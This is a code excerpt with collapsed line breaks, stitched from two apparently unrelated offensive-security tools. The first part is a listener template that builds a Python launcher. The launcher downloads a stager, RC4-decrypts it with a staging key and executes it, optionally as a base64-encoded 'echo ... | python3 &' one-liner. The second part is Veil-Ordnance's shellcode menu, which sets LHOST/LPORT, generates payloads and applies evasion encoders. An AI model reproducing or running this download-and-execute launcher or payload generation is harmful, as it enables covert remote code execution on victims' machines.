urlopen. launcherBase += "urllib2.install_opener(o);\n" # download the stager and extract the IV launcherBase += "a=urllib2.urlopen(req).read();\n" launcherBase += "IV=a[0:4];" launcherBase += "data=a[4:];" launcherBase += "key=IV+'%s';" % (stagingKey) # RC4 decryption launcherBase += "S,j,out=range(256),0,[]\n" launcherBase += "for i in range(256):\n" launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += "i=j=0\n" launcherBase += "for char in data:\n" launcherBase += " i=(i+1)%256\n" launcherBase += " j=(j+S[i])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n" launcherBase += "exec(''.join(out))" if encode: launchEncoded = base64.b64encode(launcherBase).decode("utf-8") launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | python3 &" % (launchEncoded) return launcher else: return launcherBase else: print(helpers.color("[!] listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module.")) else: print(helpers.color("[!] listeners/template generate_launcher(): invalid listener name specification!"))
def use_payload(self, incoming_payload): shellcode_found = False for payload in self.active_shellcode.values(): if incoming_payload.lower() == payload.cli_name: shellcode_found = True while ordnance_helpers.loop_req_options(payload): self.print_options_screen(payload) while True: comp = completer.OrdnanceCompleter(self.shellcode_option_commands, payload) readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) breakout = False shellcode_command = input( "[" + payload.cli_name + ">>]: ").lower().strip() # Start logic for required option commands if shellcode_command.startswith("set"): if len(shellcode_command.split()) < 3 or len(shellcode_command.split()) > 3: print(helpers.color("[*] Error: You did not provide the correct input for setting an option!", warning=True)) print(helpers.color("[*] Error: Ex: set LHOST 192.168.18.14")) else: found_req_option = False for key, value in payload.required_options.items(): if shellcode_command.split()[1] == key.lower(): found_req_option = True value[0] = shellcode_command.split()[2] if not found_req_option: print(helpers.color("[*] Error: You didn't provide a correct option to set, please retry!", warning=True)) elif shellcode_command == "exit": # Completely exit out of Veil print(helpers.color("[*] You're rage quitting all of Veil!", warning=True)) sys.exit(0) elif shellcode_command == "back": # Go back to shellcode selection shellcode_command = '' breakout = True break elif shellcode_command == "generate": lport_out = '' lhost_out = '' rhost_out = '' if ordnance_helpers.loop_req_options(payload): print(helpers.color("[*] Error: You didn't provide all the required options!", warning=True)) else: safe_to_generate = True if "LHOST" in payload.required_options: if not ordnance_helpers.check_lhost(payload.required_options["LHOST"][0]): print(helpers.color("[*] Error: You didn't provide a valid IP address!", warning=True)) print(helpers.color("[*] Error: Try again :)", warning=True)) safe_to_generate = False if "LPORT" in payload.required_options: if not ordnance_helpers.check_lport(payload.required_options["LPORT"][0]): print(helpers.color("[*] Error: You didn't provide a valid LPORT value!", warning=True)) print(helpers.color("[*] Error: Try again :)", warning=True)) safe_to_generate = False if safe_to_generate: # Generate the shellcode payload.gen_shellcode() # Gather information to generate handler if requested self.final_shellcode = payload.customized_shellcode if "LHOST" in payload.required_options: lhost_out = payload.required_options["LHOST"][0] if "LPORT" in payload.required_options: lport_out = payload.required_options["LPORT"][0] if "RHOST" in payload.required_options: rhost_out = payload.required_options["RHOST"][0] if lhost_out: self.payload_options['LHOST'] = lhost_out if lport_out: self.payload_options['LPORT'] = lport_out if rhost_out: self.payload_options['RHOST'] = rhost_out # Check if encoder is needed if payload.required_options["Encoder"][0] is not "None": self.use_encoder(payload) self.final_shellcode = payload.customized_shellcode # Print payload stats payload.payload_stats() if self.invoked: dummy = input('\nHit enter to return to Veil-Evasion... ') else: dummy2 = input('\nHit enter to continue... ') shellcode_command = '' if "LHOST" in payload.required_options: payload.required_options["LHOST"][0] = '' if "LPORT" in payload.required_options: payload.required_options["LPORT"][0] = '' breakout = True break elif shellcode_command == "options": # Reprint the shellcode options to console self.print_options_screen(payload) if breakout: ordnance_helpers.title_screen() print("Veil-Ordnance Menu") print("\n\t" + helpers.color(len(self.active_shellcode)) + " payloads loaded") print("\t" + helpers.color(len(self.active_encoders)) + " encoders loaded\n") print("Available Commands:\n") for command in sorted(self.ordnance_main_menu_commands.keys()): print("\t" + helpers.color(command) + '\t\t\t' + self.ordnance_main_menu_commands[command]) print() break if not shellcode_found: print(helpers.color("[*] Error: You did not provide a valid payload name, please try again!", warning=True)) return